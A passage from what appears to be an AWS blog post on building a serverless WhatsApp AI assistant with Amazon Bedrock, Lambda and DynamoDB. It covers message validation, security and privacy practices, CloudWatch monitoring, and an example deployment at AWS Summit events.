  • Size limit protection – Add message size validation based on character count. This prevents resource drainage from potential bad actors who might attempt to send extremely large text chunks that could generate excessive large language model (LLM) input tokens.
  • Conversation management – Track message counts and total character length per conversation, resetting the context when necessary to manage costs and prevent resource drainage. Implement this using Amazon DynamoDB with the recipient’s hashed phone number as the primary key.
  • Processing lock mechanism – Prevent duplicate processing by implementing a flag system in DynamoDB. When processing a message, set the recipient’s flag to true. While active, new messages receive a static response indicating that a previous message is being processed, avoiding out-of-sync responses and resource waste.
  • Access control – Consider implementing an allow list for beta functionality or controlled access. This provides selective AI assistant activation for testing while restricting general audience access when needed.
  • Error handling – Manage response generation failures with clear, static replies to the customer. Include troubleshooting steps or alternative contact channels based on the issue’s severity to maintain a positive user experience.

Security

Consider the following security best practices for message processing systems:

  • Encryption standards – Encrypt SNS topics, SQS queues, and DynamoDB tables using AWS Key Management Service (AWS KMS) service managed keys or customer managed keys (CMKs) to facilitate data protection at rest and in transit.
  • PII data protection – For analytics and troubleshooting purposes, avoid logging raw phone numbers when the full number isn’t required. Instead, implement hashing of phone numbers before logging to maintain user privacy while preserving tracking capabilities.
  • Data retention management – Enable Time-To-Live (TTL) attributes on DynamoDB tables to automatically purge old session data, maintaining data hygiene and avoiding storing PII data when not needed.
  • Content safety controls – Implement Amazon Bedrock Guardrails to prevent processing or generating unwanted content and messages. When required, use the data loss protection features of Amazon Bedrock Guardrails to safeguard sensitive information.
  • LLM security framework – Follow OWASP’s top 10 risk & mitigations for LLMs and Gen AI Apps guidelines to filter unsafe or inappropriate content in generative responses, maintaining a secure and appropriate interaction environment.

Use Amazon Bedrock for generative responses and categorization

The AWS Summit Assistant used two key Amazon Bedrock capabilities:

  • Amazon Bedrock Knowledge Bases – Powered by Amazon Bedrock Knowledge Bases using OpenSearch vector embeddings and Anthropic on Amazon Bedrock, the AI assistant could answer user questions using publicly available event data.
  • Categorization – Using the InvokeModel API, inbound messages were tagged with categories for analytics. A DynamoDB table stored category counts, enabling trend detection across users.

Sessions persisted using the Amazon Bedrock native session ID feature for consistent conversation flow.

Monitoring

Consider the following monitoring and data analysis options:

  • Message status tracking – WhatsApp provides six distinct events per message. Though valuable, these should be complemented with AWS service operational metrics for comprehensive monitoring. These events are published on the WhatsApp SNS topic in your AWS account.
  • Real-time monitoring with CloudWatch – Set up CloudWatch alarms to track SNS message publication rates, providing real-time visibility into WhatsApp activity for both inbound and outbound messages. Extend monitoring to include Lambda function and Amazon Bedrock metrics. For tracking WhatsApp’s six message states, implement a dedicated Lambda function that subscribes to the WhatsApp SNS topic and records each event as a custom CloudWatch metric.
  • Detailed analysis with CloudWatch Logs Insights – Use CloudWatch Logs Insights for granular monitoring with minimal development overhead. This approach enables advanced queries for metrics not available through standard CloudWatch metrics, such as unique conversation counts and user engagement statistics. The logs’ content depends on your requirements.
  • Advanced analytics integration – For sophisticated use cases, implement a data pipeline using Amazon Data Firehose to store events in Amazon S3, then visualize using business intelligence tools like Amazon Quick Sight for custom dashboards. For a reference implementation, refer to the following GitHub repo.

Example use case: AWS Summit Assistant

Deployed at AWS Summit Dubai 2025, AWS Summit Johannesburg 2025, AWS Cloud Day Türkiye, AWS Cloud Day Riyadh and re:Inforce re:Cap London 2025, this WhatsApp AI assistant performed the following functions:

  • Used Amazon Bedrock Knowledge Bases to answer attendee questions
  • Transcribed voice messages using Whisper
  • Categorized questions for trend reporting
  • Operated with near real-time responsiveness using Amazon SNS, Amazon SQS, and Lambda

The AI assistant processed over 2,000 questions with no service interruptions, showing the viability of serverless architecture for WhatsApp-based assistants.

Conclusion

Building a scalable and secure WhatsApp AI assistant with AWS offers numerous advantages for businesses looking to enhance customer engagement. By using AWS services like AWS End User Messaging, Amazon Bedrock, Lambda, and DynamoDB, builders can create robust, AI-powered assistants that handle high message volumes while maintaining security and performance. Key takeaways include:

  • Adopting a modular, event-driven architecture for flexibility and scalability
  • Implementing thorough message validation and security measures
  • Using Amazon Bedrock for advanced Gen AI capabilities
  • Establishing comprehensive monitoring and analytics

Although these practices provide a strong foundation, they represent just a subset of possible best practices. As WhatsApp and AWS services grow and industry standards change, best practices continue to evolve. Stay current by regularly reviewing AWS documentation and keeping up with new feature releases.

To get started with your WhatsApp AI assistant implementation, refer to the Github repository Chat Orchestrator for Generative AI Conversations.


About the authors